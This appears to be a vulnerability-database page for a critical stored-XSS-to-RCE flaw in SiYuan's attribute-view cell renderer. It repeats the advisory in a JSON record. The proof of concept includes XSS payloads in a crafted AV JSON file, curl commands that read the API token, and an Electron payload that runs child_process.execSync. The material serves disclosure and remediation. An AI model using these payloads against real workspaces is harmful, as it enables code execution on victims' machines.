CVE-2026-54158: SiYuan Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-5xfx-xj4h-5p7r
CVSS 9.9
CWE-1188 CWE-79
Published
Advisory Summary

CVE-2026-54158 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-1188: Initialization of a Resource with an Insecure Default) affecting SiYuan libraries in the Go ecosystem. The issue involves stored xss to rce via attribute-view cell rendering in genavvaluehtml(). Remediation is available by upgrading affected packages to version 0.0.0-20260628153353-2d5d72223df4.

CVE-2026-54158 at a Glance

CVE Identifier CVE-2026-54158
GHSA Identifier GHSA-5xfx-xj4h-5p7r
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-1188: Initialization of a Resource with an Insecure Default
Affected Product SiYuan
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54158

To remediate this vulnerability, upgrade all affected SiYuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 0.0.0-20260628153353-2d5d72223df4
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260628153353-2d5d72223df4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54158, inspect your project dependencies for SiYuan:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of SiYuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260628153353-2d5d72223df4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1188: Initialization of a Resource with an Insecure Default, where the product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure. In SiYuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `</textarea><img src=x onerror="...">` or `"><img src=x onerror="...">` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require('child_process')`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row. The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`. Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data. ### Details Affected: - HEAD `96dfe0b` (v3.6.5, 2026-04-21) - Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw. - Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`. - Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/<avID>.json`. - Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file. - Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`. #### The sink `app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted: ```ts export const genAVValueHTML = (value: IAVCellValue) => { let html = ""; switch (value.type) { case "block": // escaped via escapeAttr — safe html = `<input ... value="${escapeAttr(value.block.content)}" ...>`; break; case "text": // value.text.content goes raw into a <textarea> html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`; break; case "url": // value.url.content goes raw into value="..." and href="..." html = `<input value="${value.url.content}" ...> <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`; break; case "phone": // same pattern as url html = `<input value="${value.phone.content}" ...> <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`; break; case "mAsset": value.mAsset?.forEach(item => { if (item.type === "image") { // item.content raw inside aria-label html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`; } else { // attributes escaped, but ${item.name || item.content} text-node is raw html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`; } }); break; // other cases use escapeHtml / escapeAttr correctly } return html; }; ``` `escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren't applied in the four branches above. Callers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`: ```ts if (item.classList.contains("custom-attr__avvalue")) { item.innerHTML = genAVValueHTML(cellValue); } ``` #### The write path A grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing: ``` grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go # (no output) ``` For comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent. #### Storage and sync AV files live at `data/storage/av/<avID>.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers. #### Suggested fix The renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`: ```ts case "text": html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`; break; case "url": html = `<input value="${escapeAttr(value.url.content)}" ...> <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`; break; case "phone": html = `<input value="${escapeAttr(value.phone.content)}" ...> <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`; break; case "mAsset": // escape item.name and item.content in the text-node positions, not just inside attributes ``` The `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you're in there. Backend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces. ### PoC Stand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`: ```bash docker run -d --name siyuan-poc \ -v ./workspace:/siyuan/workspace \ -p 16806:6806 \ b3log/siyuan:latest \ --workspace=/siyuan/workspace --accessAuthCode=hunter2 ``` Minimum viable AV JSON: ```json { "spec": 2, "id": "20260519999999-poctest", "name": "PocAV", "keyValues": [ { "key": {"id": "...keyblok", "name": "Block", "type": "block"}, "values": [{ "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk", "type": "block", "isDetached": true, "block": {"id": "...row1blk", "content": "Row 1"} }] }, { "key": {"id": "...keytext", "name": "TextField", "type": "text"}, "values": [{ "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk", "type": "text", "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"} }] }, { "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"}, "values": [{ "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk", "type": "url", "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"} }] } ] } ``` In a real attack the file gets there via sync, not by hand. Confirm the API returns the cell content raw: ```bash TOKEN=$(jq -r '.api.token' workspace/conf/conf.json) curl -s -X POST http://localhost:16806/api/av/getAttributeView \ -H "Authorization: Token $TOKEN" \ -d '{"id":"20260519999999-poctest"}' \ | python3 -m json.tool | grep -E '"content":' ``` Output from my run on 2026-05-19: ``` "content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">" "content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">" ``` `</textarea>` and `">` come back literal, no escape. In the Siyuan renderer's DevTools: ```js const res = await fetch('/api/av/getAttributeView', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({id: '20260519999999-poctest'}) }); const json = await res.json(); let textValue = null, urlValue = null; for (const kv of json.data.av.keyValues) { for (const v of kv.values || []) { if (v.type === 'text' && v.text) textValue = v; if (v.type === 'url' && v.url) urlValue = v; } } // Replay the actual genAVValueHTML branches verbatim. const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`; const urlHTML = `<input value="${urlValue.url.content}">`; const div = document.createElement('div'); div.innerHTML = textHTML + urlHTML; await new Promise(r => setTimeout(r, 250)); console.log({ textMarkerFired: window.__siyuan_av_xss === 'FIRED', urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED', imgsInDiv: div.querySelectorAll('img').length, title: document.title }); ``` Output from my run: ```json { "textMarkerFired": true, "urlMarkerFired": true, "imgsInDiv": 3, "title": "AV_TEXT_XSS_OK" } ``` `</textarea>` and `">` both broke out, the smuggled `<img>` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row. To turn it into RCE on Electron, swap the marker payload for: ```html <img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')"> ``` `require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`. ### Impact Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds. The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required. Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

CVE-2026-54158 Affected SiYuan Versions

1 component(s)
Fixed Versions:
0.0.0-20260628153353-2d5d72223df4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 0.0.0-20260628153353-2d5d72223df4
0.0.0-20260628153353-2d5d72223df4

References

Frequently Asked Questions

What is CVE-2026-54158?
CVE-2026-54158 is a security vulnerability in SiYuan involving Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML() under CWE-1188: Initialization of a Resource with an Insecure Default.
Which SiYuan versions are affected?
Affected versions include releases prior to 0.0.0-20260628153353-2d5d72223df4 across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-54158?
Upgrading to 0.0.0-20260628153353-2d5d72223df4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 0.0.0-20260628153353-2d5d72223df4. Upgrade your dependency to 0.0.0-20260628153353-2d5d72223df4 or later.
What is the CVSS score of CVE-2026-54158?
CVE-2026-54158 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54158?
CVE-2026-54158 is classified under CWE-1188: Initialization of a Resource with an Insecure Default (The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.).
How can I check Go dependencies for CVE-2026-54158?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5xfx-xj4h-5p7r",
  "modified" : "2026-07-10T19:34:53Z",
  "published" : "2026-07-10T19:34:53Z",
  "aliases" : [ "CVE-2026-54158" ],
  "summary" : "SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()",
  "details" : "### Summary\n\nThe attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `</textarea><img src=x onerror=\"...\">` or `\"><img src=x onerror=\"...\">` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require('child_process')`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.\n\nThe kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`.\n\nCompanion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw.\n- Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`.\n- Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/<avID>.json`.\n- Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file.\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`.\n\n#### The sink\n\n`app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted:\n\n```ts\nexport const genAVValueHTML = (value: IAVCellValue) => {\n  let html = \"\";\n  switch (value.type) {\n    case \"block\":\n      // escaped via escapeAttr — safe\n      html = `<input ... value=\"${escapeAttr(value.block.content)}\" ...>`;\n      break;\n    case \"text\":\n      // value.text.content goes raw into a <textarea>\n      html = `<textarea ... rows=\"${(value.text?.content || \"\").split(\"\\n\").length}\" ...>${value.text?.content || \"\"}</textarea>`;\n      break;\n    case \"url\":\n      // value.url.content goes raw into value=\"...\" and href=\"...\"\n      html = `<input value=\"${value.url.content}\" ...>\n              <a ${value.url.content ? `href=\"${value.url.content}\"` : \"\"} ...>`;\n      break;\n    case \"phone\":\n      // same pattern as url\n      html = `<input value=\"${value.phone.content}\" ...>\n              <a ${value.phone.content ? `href=\"tel:${value.phone.content}\"` : \"\"} ...>`;\n      break;\n    case \"mAsset\":\n      value.mAsset?.forEach(item => {\n        if (item.type === \"image\") {\n          // item.content raw inside aria-label\n          html += `<img ... aria-label=\"${item.content}\" src=\"${getCompressURL(item.content)}\">`;\n        } else {\n          // attributes escaped, but ${item.name || item.content} text-node is raw\n          html += `<span ... aria-label=\"${escapeAttr(item.content)}\" data-name=\"${escapeAttr(item.name)}\" data-url=\"${escapeAttr(item.content)}\">${item.name || item.content}</span>`;\n        }\n      });\n      break;\n    // other cases use escapeHtml / escapeAttr correctly\n  }\n  return html;\n};\n```\n\n`escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren't applied in the four branches above.\n\nCallers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`:\n\n```ts\nif (item.classList.contains(\"custom-attr__avvalue\")) {\n    item.innerHTML = genAVValueHTML(cellValue);\n}\n```\n\n#### The write path\n\nA grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing:\n\n```\ngrep -n 'html.Escape\\|EscapeHTML\\|EscapeString' kernel/model/attribute_view.go\n# (no output)\n```\n\nFor comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent.\n\n#### Storage and sync\n\nAV files live at `data/storage/av/<avID>.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.\n\n#### Suggested fix\n\nThe renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`:\n\n```ts\ncase \"text\":\n  html = `<textarea ...>${escapeHtml(value.text?.content || \"\")}</textarea>`;\n  break;\ncase \"url\":\n  html = `<input value=\"${escapeAttr(value.url.content)}\" ...>\n          <a ${value.url.content ? `href=\"${escapeAttr(value.url.content)}\"` : \"\"} ...>`;\n  break;\ncase \"phone\":\n  html = `<input value=\"${escapeAttr(value.phone.content)}\" ...>\n          <a ${value.phone.content ? `href=\"tel:${escapeAttr(value.phone.content)}\"` : \"\"} ...>`;\n  break;\ncase \"mAsset\":\n  // escape item.name and item.content in the text-node positions, not just inside attributes\n```\n\nThe `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you're in there.\n\nBackend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.\n\n### PoC\n\nStand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`:\n\n```bash\ndocker run -d --name siyuan-poc \\\n  -v ./workspace:/siyuan/workspace \\\n  -p 16806:6806 \\\n  b3log/siyuan:latest \\\n  --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nMinimum viable AV JSON:\n\n```json\n{\n  \"spec\": 2,\n  \"id\": \"20260519999999-poctest\",\n  \"name\": \"PocAV\",\n  \"keyValues\": [\n    {\n      \"key\": {\"id\": \"...keyblok\", \"name\": \"Block\", \"type\": \"block\"},\n      \"values\": [{\n        \"id\": \"...row1blk\", \"keyID\": \"...keyblok\", \"blockID\": \"...row1blk\",\n        \"type\": \"block\", \"isDetached\": true,\n        \"block\": {\"id\": \"...row1blk\", \"content\": \"Row 1\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keytext\", \"name\": \"TextField\", \"type\": \"text\"},\n      \"values\": [{\n        \"id\": \"...celltxt\", \"keyID\": \"...keytext\", \"blockID\": \"...row1blk\",\n        \"type\": \"text\",\n        \"text\": {\"content\": \"</textarea><img src=x onerror=\\\"window.__siyuan_av_xss='FIRED'\\\">\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keyurl0\", \"name\": \"UrlField\", \"type\": \"url\"},\n      \"values\": [{\n        \"id\": \"...cellurl\", \"keyID\": \"...keyurl0\", \"blockID\": \"...row1blk\",\n        \"type\": \"url\",\n        \"url\": {\"content\": \"\\\"><img src=x onerror=\\\"window.__siyuan_av_url_xss='FIRED'\\\">\"}\n      }]\n    }\n  ]\n}\n```\n\nIn a real attack the file gets there via sync, not by hand.\n\nConfirm the API returns the cell content raw:\n\n```bash\nTOKEN=$(jq -r '.api.token' workspace/conf/conf.json)\n\ncurl -s -X POST http://localhost:16806/api/av/getAttributeView \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -d '{\"id\":\"20260519999999-poctest\"}' \\\n  | python3 -m json.tool | grep -E '\"content\":'\n```\n\nOutput from my run on 2026-05-19:\n\n```\n\"content\": \"</textarea><img src=x onerror=\\\"window.__siyuan_av_xss='FIRED'\\\">\"\n\"content\": \"\\\"><img src=x onerror=\\\"window.__siyuan_av_url_xss='FIRED'\\\">\"\n```\n\n`</textarea>` and `\">` come back literal, no escape.\n\nIn the Siyuan renderer's DevTools:\n\n```js\nconst res = await fetch('/api/av/getAttributeView', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({id: '20260519999999-poctest'})\n});\nconst json = await res.json();\n\nlet textValue = null, urlValue = null;\nfor (const kv of json.data.av.keyValues) {\n  for (const v of kv.values || []) {\n    if (v.type === 'text' && v.text) textValue = v;\n    if (v.type === 'url' && v.url) urlValue = v;\n  }\n}\n\n// Replay the actual genAVValueHTML branches verbatim.\nconst textHTML = `<textarea rows=\"${(textValue.text?.content||'').split('\\n').length}\">${textValue.text?.content || ''}</textarea>`;\nconst urlHTML  = `<input value=\"${urlValue.url.content}\">`;\n\nconst div = document.createElement('div');\ndiv.innerHTML = textHTML + urlHTML;\n\nawait new Promise(r => setTimeout(r, 250));\n\nconsole.log({\n  textMarkerFired: window.__siyuan_av_xss === 'FIRED',\n  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',\n  imgsInDiv: div.querySelectorAll('img').length,\n  title: document.title\n});\n```\n\nOutput from my run:\n\n```json\n{\n  \"textMarkerFired\": true,\n  \"urlMarkerFired\": true,\n  \"imgsInDiv\": 3,\n  \"title\": \"AV_TEXT_XSS_OK\"\n}\n```\n\n`</textarea>` and `\">` both broke out, the smuggled `<img>` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n<img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260628153353-2d5d72223df4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54158"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-10T19:34:53Z",
    "nvd_published_at" : "2026-06-24T22:16:48Z"
  }
}